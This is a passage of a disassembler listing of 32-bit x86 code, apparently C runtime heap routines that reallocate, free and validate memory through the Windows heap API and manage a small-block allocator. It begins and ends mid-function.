		jnz	short loc_41C37D
		mov	[ebp+arg_4], 1


loc_41C37D:				; CODE XREF: sub_41C230+144j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0478	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C3EA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_41C3C0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_40], eax
		jmp	short loc_41C3C6
; ---------------------------------------------------------------------------


loc_41C3C0:				; CODE XREF: sub_41C230+186j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_40], ecx


loc_41C3C6:				; CODE XREF: sub_41C230+18Ej
		mov	edx, [ebp+var_40]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_419330
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	sub_41CBB0
		add	esp, 8


loc_41C3EA:				; CODE XREF: sub_41C230+9Bj
					; sub_41C230+13Ej ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C3F8
		jmp	short loc_41C403
sub_41C230	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3F8	proc near		; CODE XREF: sub_41C230+1C1p
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C3F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C230


loc_41C403:				; CODE XREF: sub_41C230+1C6j
		cmp	[ebp+var_28], 0
		jnz	short loc_41C43C
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C416
		mov	[ebp+arg_4], 1


loc_41C416:				; CODE XREF: sub_41C230+1DDj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_41C43C:				; CODE XREF: sub_41C230+71j
					; sub_41C230+1D7j
		cmp	[ebp+var_24], 0
		jnz	short loc_41C44B
		cmp	dword_4DDFE4, 0
		jnz	short loc_41C453


loc_41C44B:				; CODE XREF: sub_41C230+210j
		mov	eax, [ebp+var_24]
		jmp	loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C453:				; CODE XREF: sub_41C230+219j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41BB70
		add	esp, 4
		test	eax, eax
		jnz	short loc_41C46A
		xor	eax, eax
		jmp	loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C46A:				; CODE XREF: sub_41C230+231j
		jmp	loc_41C296
; ---------------------------------------------------------------------------


loc_41C46F:				; CODE XREF: sub_41C230+60j
		cmp	dword_4DE64C, 2
		jnz	loc_41C64A
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_41C49C
		cmp	[ebp+arg_4], 0
		jbe	short loc_41C495
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		jmp	short loc_41C49C
; ---------------------------------------------------------------------------


loc_41C495:				; CODE XREF: sub_41C230+256j
		mov	[ebp+arg_4], 10h


loc_41C49C:				; CODE XREF: sub_41C230+250j
					; sub_41C230+263j ...
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_41C61A
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41EB10
		add	esp, 0Ch
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	loc_41C5E7
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_44726C
		jnb	loc_41C578
		mov	edx, [ebp+arg_4]
		shr	edx, 4
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_38]
		push	edx
		call	sub_41F280
		add	esp, 10h
		test	eax, eax
		jz	short loc_41C515
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		jmp	short loc_41C578
; ---------------------------------------------------------------------------


loc_41C515:				; CODE XREF: sub_41C230+2DBj
		mov	ecx, [ebp+arg_4]
		shr	ecx, 4
		push	ecx
		call	sub_41EC10
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C578
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 4
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_4]
		jnb	short loc_41C54A
		mov	edx, [ebp+var_34]
		mov	[ebp+var_44], edx
		jmp	short loc_41C550
; ---------------------------------------------------------------------------


loc_41C54A:				; CODE XREF: sub_41C230+310j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_44], eax


loc_41C550:				; CODE XREF: sub_41C230+318j
		mov	ecx, [ebp+var_44]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_41EBA0
		add	esp, 0Ch


loc_41C578:				; CODE XREF: sub_41C230+2B8j
					; sub_41C230+2E3j ...
		cmp	[ebp+var_24], 0
		jnz	short loc_41C5E5
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0478	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C5E5
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 4
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_41C5B7
		mov	eax, [ebp+var_34]
		mov	[ebp+var_48], eax
		jmp	short loc_41C5BD
; ---------------------------------------------------------------------------


loc_41C5B7:				; CODE XREF: sub_41C230+37Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_48], ecx


loc_41C5BD:				; CODE XREF: sub_41C230+385j
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_419330
		add	esp, 0Ch
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_38]
		push	ecx
		call	sub_41EBA0
		add	esp, 0Ch


loc_41C5E5:				; CODE XREF: sub_41C230+34Cj
					; sub_41C230+368j
		jmp	short loc_41C601
; ---------------------------------------------------------------------------


loc_41C5E7:				; CODE XREF: sub_41C230+2A9j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_41C601:				; CODE XREF: sub_41C230:loc_41C5E5j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C60F
		jmp	short loc_41C61A
; END OF FUNCTION CHUNK	FOR sub_41C230

; =============== S U B	R O U T	I N E =======================================



sub_41C60F	proc near		; CODE XREF: sub_41C230+3D8p
					; DATA XREF: .data:00435014o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C60F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C230


loc_41C61A:				; CODE XREF: sub_41C230+277j
					; sub_41C230+3DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_41C629
		cmp	dword_4DDFE4, 0
		jnz	short loc_41C631


loc_41C629:				; CODE XREF: sub_41C230+3EEj
		mov	eax, [ebp+var_24]
		jmp	loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C631:				; CODE XREF: sub_41C230+3F7j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41BB70
		add	esp, 4
		test	eax, eax
		jnz	short loc_41C645
		xor	eax, eax
		jmp	short loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C645:				; CODE XREF: sub_41C230+40Fj
		jmp	loc_41C49C
; ---------------------------------------------------------------------------


loc_41C64A:				; CODE XREF: sub_41C230+246j
					; sub_41C230:loc_41C6B0j
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_41C688
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C664
		mov	[ebp+arg_4], 1


loc_41C664:				; CODE XREF: sub_41C230+42Bj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_24], eax


loc_41C688:				; CODE XREF: sub_41C230+425j
		cmp	[ebp+var_24], 0
		jnz	short loc_41C697
		cmp	dword_4DDFE4, 0
		jnz	short loc_41C69C


loc_41C697:				; CODE XREF: sub_41C230+45Cj
		mov	eax, [ebp+var_24]
		jmp	short loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C69C:				; CODE XREF: sub_41C230+465j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41BB70
		add	esp, 4
		test	eax, eax
		jnz	short loc_41C6B0
		xor	eax, eax
		jmp	short loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C6B0:				; CODE XREF: sub_41C230+47Aj
		jmp	short loc_41C64A
; ---------------------------------------------------------------------------


loc_41C6B2:				; CODE XREF: sub_41C230+3Bj
					; sub_41C230+54j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C230
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C6D0	proc near		; CODE XREF: sub_415CD0+26Ep
					; sub_415CD0+3B2p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041C756 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0041C7D8 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435018
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C6FE
		jmp	loc_41C805
; ---------------------------------------------------------------------------


loc_41C6FE:				; CODE XREF: sub_41C6D0+27j
		cmp	dword_4DE64C, 3
		jnz	short loc_41C774
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41CAF0
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41C73D
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_41CBB0
		add	esp, 8


loc_41C73D:				; CODE XREF: sub_41C6D0+5Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C74B
		jmp	short loc_41C756
sub_41C6D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C74B	proc near		; CODE XREF: sub_41C6D0+74p
					; DATA XREF: .data:00435020o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C74B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C6D0


loc_41C756:				; CODE XREF: sub_41C6D0+79j
		cmp	[ebp+var_1C], 0
		jnz	short loc_41C76F
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E0480	; RtlFreeHeap


loc_41C76F:				; CODE XREF: sub_41C6D0+8Aj
		jmp	loc_41C805
; ---------------------------------------------------------------------------


loc_41C774:				; CODE XREF: sub_41C6D0+35j
		cmp	dword_4DE64C, 2
		jnz	short loc_41C7F2
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EB10
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C7BF
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_41EBA0
		add	esp, 0Ch


loc_41C7BF:				; CODE XREF: sub_41C6D0+D9j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C7CD
		jmp	short loc_41C7D8
; END OF FUNCTION CHUNK	FOR sub_41C6D0

; =============== S U B	R O U T	I N E =======================================



sub_41C7CD	proc near		; CODE XREF: sub_41C6D0+F6p
					; DATA XREF: .data:0043502Co
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C7CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C6D0


loc_41C7D8:				; CODE XREF: sub_41C6D0+FBj
		cmp	[ebp+var_24], 0
		jnz	short loc_41C7F0
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0480	; RtlFreeHeap


loc_41C7F0:				; CODE XREF: sub_41C6D0+10Cj
		jmp	short loc_41C805
; ---------------------------------------------------------------------------


loc_41C7F2:				; CODE XREF: sub_41C6D0+ABj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0480	; RtlFreeHeap


loc_41C805:				; CODE XREF: sub_41C6D0+29j
					; sub_41C6D0:loc_41C76Fj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C6D0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_416420+4Ap
					; .data:0041C933p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041C88D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0041C8D2 SIZE 00000052 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435030
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0FFFFFFFEh
		cmp	dword_4DE64C, 3
		jnz	short loc_41C88F
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_41E0F0
		test	eax, eax
		jge	short loc_41C874
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_41C874:				; CODE XREF: sub_41C820+4Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C882
		jmp	short loc_41C88D
sub_41C820	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C882	proc near		; CODE XREF: sub_41C820+5Bp
					; DATA XREF: .data:00435038o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C882	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C820


loc_41C88D:				; CODE XREF: sub_41C820+60j
		jmp	short loc_41C8D2
; ---------------------------------------------------------------------------


loc_41C88F:				; CODE XREF: sub_41C820+31j
		cmp	dword_4DE64C, 2
		jnz	short loc_41C8D2
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		call	sub_41F3F0
		test	eax, eax
		jge	short loc_41C8B9
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_41C8B9:				; CODE XREF: sub_41C820+90j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C8C7
		jmp	short loc_41C8D2
; END OF FUNCTION CHUNK	FOR sub_41C820

; =============== S U B	R O U T	I N E =======================================



sub_41C8C7	proc near		; CODE XREF: sub_41C820+A0p
					; DATA XREF: .data:00435044o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C8C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C820


loc_41C8D2:				; CODE XREF: sub_41C820:loc_41C88Dj
					; sub_41C820+76j ...
		push	0
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0448	; HeapValidate
		test	eax, eax
		jnz	short loc_41C910
		call	dword_4E0350	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41C909
		call	sub_4224E0
		mov	dword ptr [eax], 78h
		call	sub_4224D0
		mov	dword ptr [eax], 28h
		jmp	short loc_41C910
; ---------------------------------------------------------------------------


loc_41C909:				; CODE XREF: sub_41C820+CFj
		mov	[ebp+var_1C], 0FFFFFFFCh


loc_41C910:				; CODE XREF: sub_41C820+C4j
					; sub_41C820+E7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C820
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41C820
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4DE64C, 3
		jnz	short loc_41C953
		mov	eax, dword_4DE66C
		jmp	short loc_41C965
; ---------------------------------------------------------------------------


loc_41C953:				; CODE XREF: .data:0041C94Aj
		cmp	dword_4DE64C, 2
		jnz	short loc_41C963
		mov	eax, dword_44726C
		jmp	short loc_41C965
; ---------------------------------------------------------------------------


loc_41C963:				; CODE XREF: .data:0041C95Aj
		xor	eax, eax


loc_41C965:				; CODE XREF: .data:0041C951j
					; .data:0041C961j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE64C, 3
		jnz	short loc_41C99F
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_41C998
		mov	eax, [ebp+8]
		mov	dword_4DE66C, eax
		mov	eax, 1
		jmp	loc_41CA76
; ---------------------------------------------------------------------------


loc_41C998:				; CODE XREF: .data:0041C984j
		xor	eax, eax
		jmp	loc_41CA76
; ---------------------------------------------------------------------------


loc_41C99F:				; CODE XREF: .data:0041C97Bj
		cmp	dword_4DE64C, 2
		jnz	short loc_41C9D7
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_41C9D0
		mov	edx, [ebp+8]
		mov	dword_44726C, edx
		mov	eax, 1
		jmp	loc_41CA76
; ---------------------------------------------------------------------------


loc_41C9D0:				; CODE XREF: .data:0041C9BBj
		xor	eax, eax
		jmp	loc_41CA76
; ---------------------------------------------------------------------------


loc_41C9D7:				; CODE XREF: .data:0041C9A6j
		cmp	dword_4DE64C, 1
		jnz	loc_41CA74
		cmp	dword ptr [ebp+8], 0
		jbe	loc_41CA74
		lea	eax, [ebp-4]
		push	eax
		call	sub_41F630
		add	esp, 4
		mov	ecx, [ebp-4]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_41CA3C
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_41CA3A
		mov	edx, [ebp+8]
		push	edx
		call	sub_41CA80
		add	esp, 4
		test	eax, eax
		jz	short loc_41CA3A
		mov	eax, [ebp+8]
		mov	dword_4DE66C, eax
		mov	dword_4DE64C, 3
		mov	eax, 1
		jmp	short loc_41CA76
; ---------------------------------------------------------------------------


loc_41CA3A:				; CODE XREF: .data:0041CA0Fj
					; .data:0041CA1Fj
		jmp	short loc_41CA74
; ---------------------------------------------------------------------------


loc_41CA3C:				; CODE XREF: .data:0041CA06j
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_41CA74
		call	sub_41E750
		test	eax, eax
		jz	short loc_41CA74
		mov	edx, [ebp+8]
		mov	dword_44726C, edx
		mov	dword_4DE64C, 2
		mov	eax, 1
		jmp	short loc_41CA76
; ---------------------------------------------------------------------------


loc_41CA74:				; CODE XREF: .data:0041C9DEj
					; .data:0041C9E8j ...
		xor	eax, eax


loc_41CA76:				; CODE XREF: .data:0041C993j
					; .data:0041C99Aj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA80	proc near		; CODE XREF: .data:0041CA15p
					; sub_41F8C0+44p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	140h
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0478	; RtlAllocateHeap
		mov	dword_4DE668, eax
		cmp	dword_4DE668, 0
		jnz	short loc_41CAA8
		xor	eax, eax
		jmp	short loc_41CAE0
; ---------------------------------------------------------------------------


loc_41CAA8:				; CODE XREF: sub_41CA80+22j
		mov	ecx, [ebp+arg_0]
		mov	dword_4DE66C, ecx
		mov	edx, dword_4DE668
		mov	dword_4DE658, edx
		mov	dword_4DE660, 0
		mov	dword_4DE664, 0
		mov	dword_4DE650, 10h
		mov	eax, 1


loc_41CAE0:				; CODE XREF: sub_41CA80+26j
		pop	ebp
		retn
sub_41CA80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF0	proc near		; CODE XREF: sub_416900+41p
					; sub_41C020+52p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4DE664
		imul	eax, 14h
		mov	ecx, dword_4DE668
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, dword_4DE668
		mov	[ebp+var_8], edx


loc_41CB12:				; CODE XREF: sub_41CAF0+4Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_41CB3F
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	edx, [ecx+0Ch]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 100000h
		jnb	short loc_41CB34
		mov	eax, [ebp+var_8]
		jmp	short loc_41CB41
; ---------------------------------------------------------------------------


loc_41CB34:				; CODE XREF: sub_41CAF0+3Dj
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_41CB12
; ---------------------------------------------------------------------------


loc_41CB3F:				; CODE XREF: sub_41CAF0+28j
		xor	eax, eax


loc_41CB41:				; CODE XREF: sub_41CAF0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_41CAF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB50	proc near		; CODE XREF: sub_416900+5Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, 80000000h
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, eax
		test	edx, edx
		jnz	short loc_41CBA1
		mov	eax, [ebp+var_8]
		and	eax, 0Fh
		test	eax, eax
		jnz	short loc_41CBA1
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFFh
		test	ecx, ecx
		jz	short loc_41CBA1
		mov	[ebp+var_C], 1
		jmp	short loc_41CBA8
; ---------------------------------------------------------------------------


loc_41CBA1:				; CODE XREF: sub_41CB50+2Fj
					; sub_41CB50+39j ...
		mov	[ebp+var_C], 0


loc_41CBA8:				; CODE XREF: sub_41CB50+4Fj
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBB0	proc near		; CODE XREF: sub_41C230+132p
					; sub_41C230+1B2p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_41CC0D
		jmp	loc_41D188
; ---------------------------------------------------------------------------


loc_41CC0D:				; CODE XREF: sub_41CBB0+56j
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax-4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		and	edx, 1
		test	edx, edx
		jnz	loc_41CD57
		mov	eax, [ebp+var_14]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_41CC4E
		mov	[ebp+var_24], 3Fh


loc_41CC4E:				; CODE XREF: sub_41CBB0+95j
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_38]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41CD30
		cmp	[ebp+var_24], 20h
		jnb	short loc_41CCC5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41CCC3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41CCC3:				; CODE XREF: sub_41CBB0+F9j
		jmp	short loc_41CD30
; ---------------------------------------------------------------------------


loc_41CCC5:				; CODE XREF: sub_41CBB0+B4j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
